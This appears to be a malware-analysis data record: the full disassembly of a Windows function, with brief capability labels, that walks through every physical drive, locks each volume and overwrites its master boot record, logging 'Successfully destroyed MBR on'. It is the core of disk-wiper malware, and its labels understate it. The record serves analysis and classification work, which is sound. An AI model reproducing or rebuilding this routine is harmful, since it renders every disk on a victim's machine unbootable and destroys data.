Function at 0x140100ec0
Capabilities:
Check if file exists
Write file on windows

Disassembly:
mov r11, rsp
push rbp
lea rbp, [r11 - 0x188]
sub rsp, 0x280
mov rax, qword [0x1403c13c0]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov qword [r11 + 8], rbx
lea rcx, [rbp - 0x6a]
mov qword [r11 + 0x10], rsi
xor edx, edx
mov r8d, 0x198
mov qword [r11 + 0x20], r14
call fcn.1402bfc40
mov eax, dword [0x1403c20c0]
xorps xmm0, xmm0
movups xmm1, xmmword [0x1403c20b0]
mov dword [rbp - 0x70], eax
xor r14d, r14d
movzx eax, word [0x1403c20c4]
mov esi, r14d
movups xmmword [rbp + 0x12e], xmm0
mov word [rbp + 0x16e], 0
movups xmmword [rbp + 0x13e], xmm0
mov word [rbp - 0x6c], ax
movups xmmword [rbp + 0x14e], xmm0
mov qword [rsp + 0x2a0], rdi
movups xmmword [rbp + 0x15e], xmm0
movups xmm0, xmmword [0x1403c20a0]
movaps xmmword [rbp - 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov r9d, esi
lea r8, str..PhysicalDrive_d
mov edx, 0x20
lea rcx, [rsp + 0x50]
call fcn.1400fc570
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x28], r14d
xor r9d, r9d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140101014
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
cmp eax, 2
je 0x1401011ef
lea rdx, str.CreateFile
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
lea rdx, str._Failed_for
call fcn.140106de0
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140106de0
mov rcx, rax
lea rdx, str.._Error_code:
call fcn.140106de0
mov edx, ebx
mov rcx, rax
call fcn.140103800
mov rcx, rax
call fcn.140107090
jmp 0x1401011ef
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], r14d
xor r8d, r8d
mov edx, 0x90018
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x1401010a7
lea rdx, str.CreateFile
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
lea rdx, str.__FSCTL_LOCK_VOLUME__failed_for
call fcn.140106de0
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140106de0
mov rcx, rax
lea rdx, str.._Error_code:
call fcn.140106de0
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call fcn.140103800
mov rcx, rax
call fcn.140107090
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], r14d
xor r8d, r8d
mov edx, 0x90018
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x14010111f
lea rdx, str.FSCTL_LOCK_VOLUME_failed_for
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140106de0
mov rcx, rax
lea rdx, str.._Error_code:
call fcn.140106de0
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call fcn.140103800
jmp 0x1401011de
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14010114a
lea rdx, str.WriteFile_failed_for
jmp 0x1401010df
cmp dword [rsp + 0x40], 0x200
je 0x140101191
lea rdx, str.WriteFile_did_not_write_all_bytes_for
lea rcx, [0x1403c5140]
call fcn.140106de0
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140106de0
mov rcx, rax
lea rdx, str.._Written:
call fcn.140106de0
mov edx, dword [rsp + 0x40]
mov rcx, rax
call fcn.140103800
jmp 0x1401011de
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x44]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], r14d
xor r8d, r8d
mov edx, 0x9001c
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea rdx, str.Successfully_destroyed_MBR_on
lea rcx, [0x1403c4fc0]
call fcn.140106de0
mov rcx, rax
lea rdx, [rsp + 0x50]
call fcn.140106de0
mov rcx, rax
call fcn.140107090
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, 0x80
jl 0x140100f61
mov r14, qword [rsp + 0x2a8]
xor eax, eax
mov rdi, qword [rsp + 0x2a0]
mov rsi, qword [rsp + 0x298]
mov rbx, qword [rsp + 0x290]
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140295820
add rsp, 0x280
pop rbp
ret